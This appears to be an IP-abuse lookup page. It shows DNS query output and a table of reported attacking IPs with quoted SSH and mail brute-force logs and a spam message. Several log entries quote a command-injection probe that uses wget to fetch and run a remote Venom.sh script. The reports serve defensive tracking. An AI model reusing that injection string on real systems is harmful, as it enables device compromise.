City: unknown
Region: unknown
Country: Multicast Address
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 229.140.117.149
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 24704
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;229.140.117.149. IN A
;; AUTHORITY SECTION:
. 29 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025022201 1800 900 604800 86400
;; Query time: 68 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sun Feb 23 04:35:04 CST 2025
;; MSG SIZE rcvd: 108Host 149.117.140.229.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 149.117.140.229.in-addr.arpa: NXDOMAIN| IP | Type | Details | Datetime |
|---|---|---|---|
| 218.92.0.135 | attackbots | Dec 23 09:50:10 localhost sshd\[29606\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.135 user=root Dec 23 09:50:12 localhost sshd\[29606\]: Failed password for root from 218.92.0.135 port 6506 ssh2 Dec 23 09:50:16 localhost sshd\[29606\]: Failed password for root from 218.92.0.135 port 6506 ssh2 |
2019-12-23 16:56:08 |
| 192.3.142.214 | attack | (From edwardfrankish32@gmail.com) Hi! Did you know that the first page of Goggle search results is where all potential clients will be looking at if they're searching for products/services? Does your website appear on the first page of Google search results when you try searching for your products/services? Most of the time, they would just ignore page 2 and so on since the results listed on the first page seem more relevant and are more credible. I'm very familiar with all the algorithms and methods that search engines use and I am an expert on how to get the most out of it. I'm a freelance online marketing specialist, and I have helped my clients bring their websites to the first page of web searches for more than 10 years now. Also, the cost of my services is something that small businesses can afford. I can give you a free consultation so you can be better informed of how your website is doing right now, what can be done and what to expect after if this is something that interests you. Kindly wri |
2019-12-23 16:36:46 |
| 178.33.136.21 | attackspam | Dec 22 21:45:35 wbs sshd\[16037\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.33.136.21 user=root Dec 22 21:45:37 wbs sshd\[16037\]: Failed password for root from 178.33.136.21 port 59548 ssh2 Dec 22 21:50:47 wbs sshd\[16546\]: Invalid user asterisk from 178.33.136.21 Dec 22 21:50:47 wbs sshd\[16546\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.33.136.21 Dec 22 21:50:49 wbs sshd\[16546\]: Failed password for invalid user asterisk from 178.33.136.21 port 41230 ssh2 |
2019-12-23 16:38:51 |
| 197.52.14.173 | attackspambots | 1 attack on wget probes like: 197.52.14.173 - - [23/Dec/2019:01:19:53 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11 |
2019-12-23 16:40:43 |
| 197.38.140.67 | attackspam | 1 attack on wget probes like: 197.38.140.67 - - [22/Dec/2019:11:45:11 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11 |
2019-12-23 17:00:06 |
| 222.124.149.138 | attack | $f2bV_matches |
2019-12-23 16:34:52 |
| 68.183.86.76 | attackbotsspam | firewall-block, port(s): 1932/tcp |
2019-12-23 16:29:06 |
| 182.52.28.58 | attackbotsspam | 1577082541 - 12/23/2019 07:29:01 Host: 182.52.28.58/182.52.28.58 Port: 445 TCP Blocked |
2019-12-23 16:29:35 |
| 107.170.244.110 | attack | Dec 23 13:53:01 vibhu-HP-Z238-Microtower-Workstation sshd\[8716\]: Invalid user crazy88 from 107.170.244.110 Dec 23 13:53:01 vibhu-HP-Z238-Microtower-Workstation sshd\[8716\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=107.170.244.110 Dec 23 13:53:04 vibhu-HP-Z238-Microtower-Workstation sshd\[8716\]: Failed password for invalid user crazy88 from 107.170.244.110 port 49012 ssh2 Dec 23 13:58:38 vibhu-HP-Z238-Microtower-Workstation sshd\[9056\]: Invalid user tondeur from 107.170.244.110 Dec 23 13:58:38 vibhu-HP-Z238-Microtower-Workstation sshd\[9056\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=107.170.244.110 ... |
2019-12-23 16:43:32 |
| 119.165.25.122 | attackspambots | " " |
2019-12-23 17:02:18 |
| 156.199.238.185 | attack | 1 attack on wget probes like: 156.199.238.185 - - [22/Dec/2019:07:08:21 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11 |
2019-12-23 16:30:47 |
| 46.38.144.57 | attackbotsspam | Dec 23 09:35:23 webserver postfix/smtpd\[2654\]: warning: unknown\[46.38.144.57\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6 Dec 23 09:36:52 webserver postfix/smtpd\[3052\]: warning: unknown\[46.38.144.57\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6 Dec 23 09:38:19 webserver postfix/smtpd\[3047\]: warning: unknown\[46.38.144.57\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6 Dec 23 09:39:47 webserver postfix/smtpd\[3052\]: warning: unknown\[46.38.144.57\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6 Dec 23 09:41:14 webserver postfix/smtpd\[3052\]: warning: unknown\[46.38.144.57\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6 ... |
2019-12-23 16:44:01 |
| 193.188.22.229 | attack | 2019-12-23T09:17:26.829508struts4.enskede.local sshd\[27064\]: Invalid user squid from 193.188.22.229 port 58728 2019-12-23T09:17:26.855339struts4.enskede.local sshd\[27064\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=193.188.22.229 2019-12-23T09:17:29.915127struts4.enskede.local sshd\[27064\]: Failed password for invalid user squid from 193.188.22.229 port 58728 ssh2 2019-12-23T09:17:30.212377struts4.enskede.local sshd\[27066\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=193.188.22.229 user=ftp 2019-12-23T09:17:33.098740struts4.enskede.local sshd\[27066\]: Failed password for ftp from 193.188.22.229 port 5426 ssh2 ... |
2019-12-23 16:41:10 |
| 196.179.234.98 | attackbotsspam | Dec 22 21:52:44 wbs sshd\[16781\]: Invalid user gudbrand from 196.179.234.98 Dec 22 21:52:44 wbs sshd\[16781\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=196.179.234.98 Dec 22 21:52:46 wbs sshd\[16781\]: Failed password for invalid user gudbrand from 196.179.234.98 port 37410 ssh2 Dec 22 21:58:43 wbs sshd\[17328\]: Invalid user thilagavathy from 196.179.234.98 Dec 22 21:58:43 wbs sshd\[17328\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=196.179.234.98 |
2019-12-23 16:35:15 |
| 201.182.88.10 | attackspambots | Lines containing failures of 201.182.88.10 Dec 23 07:21:03 omfg postfix/smtpd[17030]: connect from edgerouter-201-182-88-10.companytelecom.net.br[201.182.88.10] Dec x@x Dec x@x ........ ----------------------------------------------- https://www.blocklist.de/en/view.html?ip=201.182.88.10 |
2019-12-23 16:56:26 |